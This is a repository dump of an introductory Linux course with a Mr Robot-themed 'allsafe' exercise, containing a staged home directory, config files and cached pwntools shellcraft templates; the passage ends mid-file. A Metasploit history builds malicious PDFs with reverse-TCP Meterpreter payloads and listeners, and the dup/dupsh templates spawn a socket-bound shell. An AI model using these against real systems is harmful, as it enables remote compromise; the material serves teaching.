├── 2016_syllabus.pdf ├── 2016_syllabus.tex ├── README.md ├── allsafe ├── about.html ├── angela.html ├── elliot.html ├── elliot_files │ ├── .ICEauthority │ ├── .Xauthority │ ├── .angela.txt.gpg │ ├── .apport-ignore.xml │ ├── .flexlmrc │ ├── .gconf │ │ ├── apps │ │ │ ├── %gconf.xml │ │ │ └── guake │ │ │ │ ├── %gconf.xml │ │ │ │ ├── general │ │ │ │ └── %gconf.xml │ │ │ │ ├── keybindings │ │ │ │ ├── %gconf.xml │ │ │ │ └── global │ │ │ │ │ └── %gconf.xml │ │ │ │ └── style │ │ │ │ ├── %gconf.xml │ │ │ │ ├── background │ │ │ │ └── %gconf.xml │ │ │ │ └── font │ │ │ │ └── %gconf.xml │ │ └── desktop │ │ │ ├── %gconf.xml │ │ │ └── gnome │ │ │ ├── %gconf.xml │ │ │ └── url-handlers │ │ │ ├── %gconf.xml │ │ │ ├── chrome │ │ │ └── %gconf.xml │ │ │ ├── ftp │ │ │ └── %gconf.xml │ │ │ ├── http │ │ │ └── %gconf.xml │ │ │ └── https │ │ │ └── %gconf.xml │ ├── .history │ ├── .irssi │ │ ├── config │ │ └── default.theme │ ├── .msf4 │ │ ├── history │ │ ├── local │ │ │ └── OER.pdf │ │ └── logs │ │ │ ├── framework.log │ │ │ └── production.log │ ├── .oracle_jre_usage │ │ └── 21e988f3f57c8f1c.timestamp │ ├── .pwntools-cache │ │ ├── mako │ │ │ ├── amd64 │ │ │ │ ├── infloop.asm.py │ │ │ │ ├── infloop.asm.pyc │ │ │ │ ├── linux │ │ │ │ │ ├── dup.asm.py │ │ │ │ │ ├── dup.asm.pyc │ │ │ │ │ ├── dupsh.asm.py │ │ │ │ │ ├── dupsh.asm.pyc │ │ │ │ │ ├── echo.asm.py │ │ │ │ │ ├── echo.asm.pyc │ │ │ │ │ ├── setregid.asm.py │ │ │ │ │ ├── setregid.asm.pyc │ │ │ │ │ ├── setreuid.asm.py │ │ │ │ │ ├── setreuid.asm.pyc │ │ │ │ │ ├── sh.asm.py │ │ │ │ │ ├── sh.asm.pyc │ │ │ │ │ ├── syscall.asm.py │ │ │ │ │ └── syscall.asm.pyc │ │ │ │ ├── mov.asm.py │ │ │ │ ├── mov.asm.pyc │ │ │ │ ├── nop.asm.py │ │ │ │ ├── nop.asm.pyc │ │ │ │ ├── push.asm.py │ │ │ │ ├── push.asm.pyc │ │ │ │ ├── pushstr.asm.py │ │ │ │ ├── pushstr.asm.pyc │ │ │ │ ├── ret.asm.py │ │ │ │ ├── ret.asm.pyc │ │ │ │ ├── trap.asm.py │ │ │ │ └── trap.asm.pyc │ │ │ ├── arm │ │ │ │ ├── infloop.asm.py │ │ │ │ ├── infloop.asm.pyc │ │ │ │ ├── linux │ │ │ │ │ ├── egghunter.asm.py │ │ │ │ │ ├── egghunter.asm.pyc │ │ │ │ │ ├── open_file.asm.py │ │ │ │ │ ├── open_file.asm.pyc │ │ │ │ │ ├── sh.asm.py │ │ │ │ │ └── sh.asm.pyc │ │ │ │ ├── mov.asm.py │ │ │ │ ├── mov.asm.pyc │ │ │ │ ├── nop.asm.py │ │ │ │ ├── nop.asm.pyc │ │ │ │ ├── ret.asm.py │ │ │ │ ├── ret.asm.pyc │ │ │ │ ├── to_thumb.asm.py │ │ │ │ └── to_thumb.asm.pyc │ │ │ ├── common │ │ │ │ ├── label.asm.py │ │ │ │ └── label.asm.pyc │ │ │ ├── i386 │ │ │ │ ├── breakpoint.asm.py │ │ │ │ ├── breakpoint.asm.pyc │ │ │ │ ├── freebsd │ │ │ │ │ ├── acceptloop_ipv4.asm.py │ │ │ │ │ ├── acceptloop_ipv4.asm.pyc │ │ │ │ │ ├── i386_to_amd64.asm.py │ │ │ │ │ ├── i386_to_amd64.asm.pyc │ │ │ │ │ ├── sh.asm.py │ │ │ │ │ └── sh.asm.pyc │ │ │ │ ├── infloop.asm.py │ │ │ │ ├── infloop.asm.pyc │ │ │ │ ├── linux │ │ │ │ │ ├── acceptloop_ipv4.asm.py │ │ │ │ │ ├── acceptloop_ipv4.asm.pyc │ │ │ │ │ ├── cat.asm.py │ │ │ │ │ ├── cat.asm.pyc │ │ │ │ │ ├── dup.asm.py │ │ │ │ │ ├── dup.asm.pyc │ │ │ │ │ ├── dupsh.asm.py │ │ │ │ │ ├── dupsh.asm.pyc │ │ │ │ │ ├── echo.asm.py │ │ │ │ │ ├── echo.asm.pyc │ │ │ │ │ ├── execve.asm.py │ │ │ │ │ ├── execve.asm.pyc │ │ │ │ │ ├── findpeer.asm.py │ │ │ │ │ ├── findpeer.asm.pyc │ │ │ │ │ ├── findpeersh.asm.py │ │ │ │ │ ├── findpeersh.asm.pyc │ │ │ │ │ ├── findpeerstager.asm.py │ │ │ │ │ ├── findpeerstager.asm.pyc │ │ │ │ │ ├── getdents.asm.py │ │ │ │ │ ├── getdents.asm.pyc │ │ │ │ │ ├── i386_to_amd64.asm.py │ │ │ │ │ ├── i386_to_amd64.asm.pyc │ │ │ │ │ ├── mprotect_all.asm.py │ │ │ │ │ ├── mprotect_all.asm.pyc │ │ │ │ │ ├── read.asm.py │ │ │ │ │ ├── read.asm.pyc │ │ │ │ │ ├── setregid.asm.py │ │ │ │ │ ├── setregid.asm.pyc │ │ │ │ │ ├── setreuid.asm.py │ │ │ │ │ ├── setreuid.asm.pyc │ │ │ │ │ ├── sh.asm.py │ │ │ │ │ ├── sh.asm.pyc │ │ │ │ │ ├── stager.asm.py │ │ │ │ │ ├── stager.asm.pyc │ │ │ │ │ ├── syscall.asm.py │ │ │ │ │ └── syscall.asm.pyc │ │ │ │ ├── mov.asm.py │ │ │ │ ├── mov.asm.pyc │ │ │ │ ├── nop.asm.py │ │ │ │ ├── nop.asm.pyc │ │ │ │ ├── push.asm.py │ │ │ │ ├── push.asm.pyc │ │ │ │ ├── pushstr.asm.py │ │ │ │ ├── pushstr.asm.pyc │ │ │ │ ├── pushstr_array.asm.py │ │ │ │ ├── pushstr_array.asm.pyc │ │ │ │ ├── ret.asm.py │ │ │ │ ├── ret.asm.pyc │ │ │ │ ├── setregs.asm.py │ │ │ │ ├── setregs.asm.pyc │ │ │ │ ├── stackhunter.asm.py │ │ │ │ ├── stackhunter.asm.pyc │ │ │ │ ├── trap.asm.py │ │ │ │ └── trap.asm.pyc │ │ │ └── thumb │ │ │ │ ├── infloop.asm.py │ │ │ │ ├── infloop.asm.pyc │ │ │ │ ├── linux │ │ │ │ ├── bindsh.asm.py │ │ │ │ ├── bindsh.asm.pyc │ │ │ │ ├── dup.asm.py │ │ │ │ ├── dup.asm.pyc │ │ │ │ ├── dupsh.asm.py │ │ │ │ ├── dupsh.asm.pyc │ │ │ │ ├── findpeer.asm.py │ │ │ │ ├── findpeer.asm.pyc │ │ │ │ ├── findpeersh.asm.py │ │ │ │ ├── findpeersh.asm.pyc │ │ │ │ ├── listen.asm.py │ │ │ │ ├── listen.asm.pyc │ │ │ │ ├── sh.asm.py │ │ │ │ └── sh.asm.pyc │ │ │ │ ├── mov.asm.py │ │ │ │ ├── mov.asm.pyc │ │ │ │ ├── nop.asm.py │ │ │ │ ├── nop.asm.pyc │ │ │ │ ├── pushstr.asm.py │ │ │ │ ├── pushstr.asm.pyc │ │ │ │ ├── ret.asm.py │ │ │ │ └── ret.asm.pyc │ │ └── update │ ├── .weechat │ │ ├── alias.conf │ │ ├── aspell.conf │ │ ├── charset.conf │ │ ├── exec.conf │ │ ├── irc.conf │ │ ├── logger.conf │ │ ├── logs │ │ │ ├── core.weechat.weechatlog │ │ │ └── irc.server.freenode.weechatlog │ │ ├── plugins.conf │ │ ├── relay.conf │ │ ├── script.conf │ │ ├── sec.conf │ │ ├── trigger.conf │ │ ├── weechat.conf │ │ ├── weechat.log │ │ └── xfer.conf │ ├── .wget-hsts │ ├── .xsession-errors │ ├── .xsession-errors.old │ ├── allsafe.txt │ ├── dec11.txt │ ├── dec12.txt │ ├── nov01.txt │ ├── nov11.txt │ ├── nov21.txt │ ├── nov22.txt │ ├── oct19.txt │ ├── oct28.txt │ ├── sep10.txt │ └── sep29.txt ├── for_usr_bin │ └── elliiot.txt ├── gideon.html ├── img │ ├── angela.jpg │ ├── apache.png │ ├── attacker.jpg │ ├── clippy.png │ ├── elliot.jpg │ ├── gideon.png │ ├── passwords.jpg │ ├── safe.png │ ├── secure.jpg │ ├── ssh.png │ ├── tight.jpg │ └── usb.jpg ├── index.html ├── index_files │ ├── bootstrap.css │ ├── bootstrap.js │ ├── custom.css │ ├── holder.js │ ├── ie10-viewport-bug-workaround.js │ └── jquery-1.js ├── products.html └── tmp_nov_22 │ └── credentials_for_angela.txt ├── final_guide ├── C.png ├── acuart.png ├── allsafe.png ├── allsafe_image.jpg ├── angela.jpg ├── angela.png ├── angela_password.png ├── angela_robot.png ├── bash.png ├── cowsay.png ├── cron.png ├── curl.jpg ├── distros.png ├── elliot.jpg ├── elliot.png ├── elliot_home_directory.png ├── elliot_note.png ├── figlet.png ├── filter_activity.png ├── flag.png ├── flask.png ├── forkbomb.png ├── gideon.png ├── gideon_password.png ├── github.jpg ├── gnu.jpg ├── got_gideon.png ├── hacker.png ├── hats.jpg ├── html.png ├── jinja2.png ├── jquery.png ├── linux_guide.aux ├── linux_guide.fdb_latexmk ├── linux_guide.fls ├── linux_guide.log ├── linux_guide.out ├── linux_guide.pdf ├── linux_guide.synctex.gz ├── linux_guide.tex ├── linux_guide.toc ├── logo-flask.svg ├── logo.png ├── mark.png ├── mr_robot.png ├── mysql.png ├── ova.png ├── pi.jpg ├── products.png ├── python-logo.png ├── scavenger_hunt.png ├── scripting_frontend.png ├── setup_scripting.png ├── shebang.png ├── sqlite.png ├── sqlmap.png ├── sublime_text.png ├── tarball.png ├── training_wheels.png ├── tux.jpg └── ubuntu_logo.png ├── installing_programs ├── README.md └── figlet-2.2.5.tar.gz ├── mysql └── README.md ├── pictures ├── bash.png ├── linux.png ├── pi.jpg ├── raspberry.png ├── scavenger_hunt.png ├── tar.png ├── training_wheels.png ├── tux.png └── ubuntu_logo.png ├── resources ├── filters │ ├── common_words.txt │ ├── names.txt │ ├── nmea.txt │ ├── noaa2 │ ├── noaa3 │ ├── noaa_co2.txt │ └── press_directory.txt ├── linuxfun.pdf └── networking.md ├── scavenger_hunt ├── README.md ├── clean.sh ├── filters.json ├── scavenger.json ├── scavenger_hunt ├── schema.sql ├── server_base.py ├── setup.sh ├── static │ ├── control.js │ ├── downloads │ │ ├── downloadable_file.txt │ │ ├── downloadable_file.txt~ │ │ ├── first │ │ │ ├── bowser.tar.gz │ │ │ ├── captured_packets.pcapng │ │ │ ├── easier_than_you_think.c │ │ │ ├── i_will_drink_to_that.jpeg │ │ │ ├── lolteam.pcapng │ │ │ ├── looks_can_be_deceiving.rar │ │ │ ├── lots_of_stego.pdf │ │ │ ├── nagoya_castle.png │ │ │ ├── page_11.png │ │ │ └── super_secure.zip │ │ └── second │ │ │ ├── RSA.txt │ │ │ ├── a_walk_with_the_numbers.png │ │ │ ├── delivery │ │ │ ├── hashes.txt │ │ │ ├── nothinginthebox.zip │ │ │ ├── orchestra │ │ │ ├── the_assumption_song.rar │ │ │ ├── woof64.jpg │ │ │ ├── woof64^10.jpg │ │ │ └── xor.txt │ ├── jquery.js │ ├── notify.js │ └── stylesheet.css └── templates │ ├── about.html │ ├── base_page.html │ ├── challenges.html │ ├── login.html │ ├── register.html │ └── scoreboard.html ├── scripting ├── README.md ├── clean.sh ├── game_readme.md ├── minutehash ├── minutehash_source_code │ ├── Makefile │ ├── minutehash │ ├── minutehash.cpp │ ├── sha1.cpp │ └── sha1.h ├── schema.sql ├── server_base.py ├── services.json ├── setup.sh ├── setup_game.sh ├── solutions.sh ├── static │ ├── control.js │ ├── downloads │ │ └── downloadable_file.txt~ │ ├── jquery-ui.min.js │ ├── jquery.js │ ├── notify.js │ └── stylesheet.css └── templates │ ├── about.html │ ├── base_page.html │ ├── challenges.html │ ├── login.html │ ├── register.html │ ├── scoreboard.html │ └── stylesheet.css ├── setup ├── README.md └── build_raspbian.sh └── training_wheels ├── README.md ├── _developer_ ├── README.md └── setup.sh ├── colors ├── __init__.py ├── __init__.pyc ├── colors.py └── colors.pyc ├── lessons ├── .lesson_01._Welcome_to_Training_Wheels.json ├── .lesson_02._The_Man_Pages.json ├── .lesson_03._Your_Home_Directory.json ├── .lesson_04._Absolute_and_Relative_Paths.json ├── .lesson_05._Paths_and_Files.json ├── .lesson_06._Special_Places_and_Catting_Files.json ├── .lesson_07._Working_with_Files.json ├── .lesson_08._Filters_and_Pipes.json ├── .lesson_09._Users_Root_and_Sudo.json ├── .lesson_10._Adding_and_Removing_Users.json ├── __init__.py ├── __init__.pyc ├── compile_lessons.sh ├── lesson_01._Welcome_to_Training_Wheels.hjson ├── lesson_02._The_Man_Pages.hjson ├── lesson_03._Your_Home_Directory.hjson ├── lesson_04._Absolute_and_Relative_Paths.hjson ├── lesson_05._Paths_and_Files.hjson ├── lesson_06._Special_Places_and_Catting_Files.hjson ├── lesson_07._Working_with_Files.hjson ├── lesson_08._Filters_and_Pipes.hjson ├── lesson_09._Users_Root_and_Sudo.hjson ├── lesson_10._Adding_and_Removing_Users.hjson ├── lesson_book.py └── lesson_book.pyc ├── save_engine ├── __init__.py ├── __init__.pyc ├── save_engine.py └── save_engine.pyc ├── shell ├── __init__.py ├── __init__.pyc ├── shell.py ├── shell.pyc ├── wrapper.py └── wrapper.pyc └── training_wheels /2016_syllabus.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/2016_syllabus.pdf -------------------------------------------------------------------------------- /allsafe/elliot_files/.ICEauthority: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.ICEauthority -------------------------------------------------------------------------------- /allsafe/elliot_files/.Xauthority: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.Xauthority -------------------------------------------------------------------------------- /allsafe/elliot_files/.angela.txt.gpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.angela.txt.gpg -------------------------------------------------------------------------------- /allsafe/elliot_files/.apport-ignore.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.flexlmrc: -------------------------------------------------------------------------------- 1 | LM_LICENSE_FILE= -------------------------------------------------------------------------------- /allsafe/elliot_files/.gconf/apps/%gconf.xml: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.gconf/apps/%gconf.xml -------------------------------------------------------------------------------- /allsafe/elliot_files/.gconf/apps/guake/%gconf.xml: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.gconf/apps/guake/%gconf.xml -------------------------------------------------------------------------------- /allsafe/elliot_files/.gconf/apps/guake/general/%gconf.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | delete-sequence 7 | 8 | 9 | ascii-delete 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | gedit %(file_path)s 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.gconf/apps/guake/keybindings/%gconf.xml: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.gconf/apps/guake/keybindings/%gconf.xml -------------------------------------------------------------------------------- /allsafe/elliot_files/.gconf/apps/guake/keybindings/global/%gconf.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | <Primary><Shift>Return 5 | 6 | 7 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.gconf/apps/guake/style/%gconf.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.gconf/apps/guake/style/background/%gconf.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.gconf/apps/guake/style/font/%gconf.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Tango 5 | 6 | 7 | #000000000000:#cccc00000000:#4e4e9a9a0606:#c4c4a0a00000:#34346565a4a4:#757550507b7b:#060698209a9a:#d3d3d7d7cfcf:#555557575353:#efef29292929:#8a8ae2e23434:#fcfce9e94f4f:#72729f9fcfcf:#adad7f7fa8a8:#3434e2e2e2e2:#eeeeeeeeecec:#ffffffffffff:#000000000000 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.gconf/desktop/%gconf.xml: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.gconf/desktop/%gconf.xml -------------------------------------------------------------------------------- /allsafe/elliot_files/.gconf/desktop/gnome/%gconf.xml: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.gconf/desktop/gnome/%gconf.xml -------------------------------------------------------------------------------- /allsafe/elliot_files/.gconf/desktop/gnome/url-handlers/%gconf.xml: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.gconf/desktop/gnome/url-handlers/%gconf.xml -------------------------------------------------------------------------------- /allsafe/elliot_files/.gconf/desktop/gnome/url-handlers/chrome/%gconf.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | firefox %s 7 | 8 | 9 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.gconf/desktop/gnome/url-handlers/ftp/%gconf.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | firefox %s 7 | 8 | 9 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.gconf/desktop/gnome/url-handlers/http/%gconf.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | firefox %s 7 | 8 | 9 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.gconf/desktop/gnome/url-handlers/https/%gconf.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | firefox %s 7 | 8 | 9 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.history: -------------------------------------------------------------------------------- 1 | ls 2 | whoami 3 | cd 4 | id 5 | man gpg 6 | clear 7 | cd /usr/bin 8 | ls 9 | ls | grep "txt" 10 | cat elliot.txt 11 | cd 12 | ls -a 13 | exit 14 | ls 15 | nano passwords.txt 16 | rm passwords.txt 17 | nano credentials_for_angela.txt 18 | mv credentials_for_angela.txt /tmp/nov22/ 19 | curl http://10.6.1.155/robots.txt -------------------------------------------------------------------------------- /allsafe/elliot_files/.msf4/history: -------------------------------------------------------------------------------- 1 | use adobe_pdf_embedded_exe 2 | use exploit/windows/fileformat/adobe_pdf_embedded_exe 3 | set payload windows/meterpreter/reverse_tcp 4 | show options 5 | set INFILENAME evil.pdf 6 | show options 7 | set FILENAME exploited.pdf 8 | set LHOST 10.208.1.51 9 | show options 10 | exploit 11 | set INFILENAME /home/john/\evil.pdf 12 | exploit 13 | exploit 14 | exploit 15 | exit 16 | use multi/handler 17 | set payload windows/reverse_tcp/meterpreter 18 | set payload windows/meterpreter/reverse_tcp 19 | show options 20 | set LHOST 10.208.1.51 21 | exploit 22 | quit 23 | use exploit/windows/fileformat/adobe_utilprintf 24 | set FILENAME OER.pdf 25 | set PAYLOAD windows/meterpreter/reverse_tcp 26 | set LHOST 10.208.1.51 27 | show options 28 | exploit 29 | back 30 | use multi/handler 31 | set payload windows/meterpreter/reverse_tcp 32 | set LHOST 10.208.1.51 33 | exploit 34 | quit 35 | use multi/handler 36 | set payload windows/meterpreter/reverse_tcp 37 | set LHOST 10.208.1.51 38 | exploit 39 | exit 40 | use multi/handler 41 | set PAYLOAD windows/meterpreter/reverse_tcp 42 | set LHOST 192.168.43.254 43 | exploit 44 | exit 45 | quit 46 | use multi/handler 47 | set LHOST 192.168.43.254 48 | exploit 49 | exploit 50 | exit 51 | use multi/handler 52 | set LHOST 192.168.43.254 53 | exploit 54 | use multi/handler 55 | set LHOST 192.168.43.254 56 | search wireshark 57 | use exploit/windows/misc/wireshark_lua 58 | show options 59 | back 60 | use windows/meterpreter/reverse_tcp 61 | set LHOST 192.168.0.102 62 | show options 63 | exit 64 | search wireshark 65 | use exploit/windows/fileformat/wireshark_packet_dect 66 | set payload 67 | show options 68 | search zeus 69 | quit 70 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.msf4/local/OER.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.msf4/local/OER.pdf -------------------------------------------------------------------------------- /allsafe/elliot_files/.msf4/logs/production.log: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.msf4/logs/production.log -------------------------------------------------------------------------------- /allsafe/elliot_files/.oracle_jre_usage/21e988f3f57c8f1c.timestamp: -------------------------------------------------------------------------------- 1 | /home/john/arduino/arduino-1.6.9/java 2 | 1465006198603 3 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/amd64/infloop.asm.py: -------------------------------------------------------------------------------- 1 | # -*- coding:ascii -*- 2 | from mako import runtime, filters, cache 3 | UNDEFINED = runtime.UNDEFINED 4 | STOP_RENDERING = runtime.STOP_RENDERING 5 | __M_dict_builtin = dict 6 | __M_locals_builtin = locals 7 | _magic_number = 10 8 | _modified_time = 1473634653.574983 9 | _enable_loop = True 10 | _template_filename = '/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/amd64/infloop.asm' 11 | _template_uri = 'amd64/infloop.asm' 12 | _source_encoding = 'ascii' 13 | _exports = [] 14 | 15 | 16 | __doc__ = u'A two-byte infinite loop.' 17 | def render_body(context,**pageargs): 18 | __M_caller = context.caller_stack._push_frame() 19 | try: 20 | __M_locals = __M_dict_builtin(pageargs=pageargs) 21 | __M_writer = context.writer() 22 | __M_writer(u'\n jmp $\n') 23 | return '' 24 | finally: 25 | context.caller_stack._pop_frame() 26 | 27 | 28 | """ 29 | __M_BEGIN_METADATA 30 | {"source_encoding": "ascii", "line_map": {"16": 1, "17": 0, "28": 22, "22": 1}, "uri": "amd64/infloop.asm", "filename": "/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/amd64/infloop.asm"} 31 | __M_END_METADATA 32 | """ 33 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/amd64/infloop.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/amd64/infloop.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/amd64/linux/dup.asm.py: -------------------------------------------------------------------------------- 1 | # -*- coding:ascii -*- 2 | from mako import runtime, filters, cache 3 | UNDEFINED = runtime.UNDEFINED 4 | STOP_RENDERING = runtime.STOP_RENDERING 5 | __M_dict_builtin = dict 6 | __M_locals_builtin = locals 7 | _magic_number = 10 8 | _modified_time = 1473634653.612633 9 | _enable_loop = True 10 | _template_filename = '/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/amd64/linux/dup.asm' 11 | _template_uri = 'amd64/linux/dup.asm' 12 | _source_encoding = 'ascii' 13 | _exports = [] 14 | 15 | 16 | __doc__ = u'\nArgs: [sock (imm/reg) = rbp]\n Duplicates sock to stdin, stdout and stderr\n' 17 | def render_body(context,sock='rbp',**pageargs): 18 | __M_caller = context.caller_stack._push_frame() 19 | try: 20 | __M_locals = __M_dict_builtin(pageargs=pageargs,sock=sock) 21 | __M_writer = context.writer() 22 | from pwnlib.shellcraft import common, amd64 23 | 24 | __M_locals_builtin_stored = __M_locals_builtin() 25 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['common','amd64'] if __M_key in __M_locals_builtin_stored])) 26 | __M_writer(u'\n') 27 | __M_writer(u'\n') 28 | __M_writer(u'\n') 29 | 30 | dup = common.label("dup") 31 | looplabel = common.label("loop") 32 | after = common.label("after") 33 | 34 | 35 | __M_locals_builtin_stored = __M_locals_builtin() 36 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['dup','after','looplabel'] if __M_key in __M_locals_builtin_stored])) 37 | __M_writer(u'\n\n\n') 38 | __M_writer(unicode(dup)) 39 | __M_writer(u':\n ') 40 | __M_writer(unicode(amd64.mov('rbp', sock))) 41 | __M_writer(u'\n\n push 3\n') 42 | __M_writer(unicode(looplabel)) 43 | __M_writer(u':\n pop rsi\n dec rsi\n js ') 44 | __M_writer(unicode(after)) 45 | __M_writer(u'\n push rsi\n\n ') 46 | __M_writer(unicode(amd64.linux.syscall('SYS_dup2', 'rbp', 'rsi'))) 47 | __M_writer(u'\n\n jmp ') 48 | __M_writer(unicode(looplabel)) 49 | __M_writer(u'\n') 50 | __M_writer(unicode(after)) 51 | __M_writer(u':\n') 52 | return '' 53 | finally: 54 | context.caller_stack._pop_frame() 55 | 56 | 57 | """ 58 | __M_BEGIN_METADATA 59 | {"source_encoding": "ascii", "line_map": {"16": 3, "17": 2, "22": 1, "26": 1, "27": 2, "28": 6, "29": 7, "37": 11, "38": 14, "39": 14, "40": 15, "41": 15, "42": 18, "43": 18, "44": 21, "45": 21, "46": 24, "47": 24, "48": 26, "49": 26, "50": 27, "51": 27, "57": 51}, "uri": "amd64/linux/dup.asm", "filename": "/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/amd64/linux/dup.asm"} 60 | __M_END_METADATA 61 | """ 62 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/amd64/linux/dup.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/amd64/linux/dup.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/amd64/linux/dupsh.asm.py: -------------------------------------------------------------------------------- 1 | # -*- coding:ascii -*- 2 | from mako import runtime, filters, cache 3 | UNDEFINED = runtime.UNDEFINED 4 | STOP_RENDERING = runtime.STOP_RENDERING 5 | __M_dict_builtin = dict 6 | __M_locals_builtin = locals 7 | _magic_number = 10 8 | _modified_time = 1473634653.615086 9 | _enable_loop = True 10 | _template_filename = '/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/amd64/linux/dupsh.asm' 11 | _template_uri = 'amd64/linux/dupsh.asm' 12 | _source_encoding = 'ascii' 13 | _exports = [] 14 | 15 | 16 | __doc__ = u'\nArgs: [sock (imm/reg) = rbp]\n Duplicates sock to stdin, stdout and stderr and spawns a shell.\n' 17 | def render_body(context,sock='rbp',**pageargs): 18 | __M_caller = context.caller_stack._push_frame() 19 | try: 20 | __M_locals = __M_dict_builtin(pageargs=pageargs,sock=sock) 21 | __M_writer = context.writer() 22 | from pwnlib.shellcraft import common 23 | 24 | __M_locals_builtin_stored = __M_locals_builtin() 25 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['common'] if __M_key in __M_locals_builtin_stored])) 26 | __M_writer(u'\n') 27 | from pwnlib.shellcraft.amd64 import linux 28 | 29 | __M_locals_builtin_stored = __M_locals_builtin() 30 | __M_locals.update(__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key]) for __M_key in ['linux'] if __M_key in __M_locals_builtin_stored])) 31 | __M_writer(u'\n') 32 | __M_writer(u'\n') 33 | __M_writer(u'\n\n\n') 34 | __M_writer(unicode(linux.dup(sock))) 35 | __M_writer(u'\n\n') 36 | __M_writer(unicode(linux.sh())) 37 | __M_writer(u'\n') 38 | return '' 39 | finally: 40 | context.caller_stack._pop_frame() 41 | 42 | 43 | """ 44 | __M_BEGIN_METADATA 45 | {"source_encoding": "ascii", "line_map": {"32": 3, "33": 7, "34": 10, "35": 10, "36": 12, "37": 12, "43": 37, "16": 4, "17": 3, "22": 1, "26": 1, "27": 2, "31": 2}, "uri": "amd64/linux/dupsh.asm", "filename": "/usr/local/lib/python2.7/dist-packages/pwnlib/shellcraft/templates/amd64/linux/dupsh.asm"} 46 | __M_END_METADATA 47 | """ 48 | -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/amd64/linux/dupsh.asm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/elliot_files/.pwntools-cache/mako/amd64/linux/dupsh.asm.pyc -------------------------------------------------------------------------------- /allsafe/elliot_files/.pwntools-cache/mako/amd64/linux/echo.asm.py: -------------------------------------------------------------------------------- 1 | # -*- coding:ascii -*- 2 | from mako import runtime, filters, cache 3 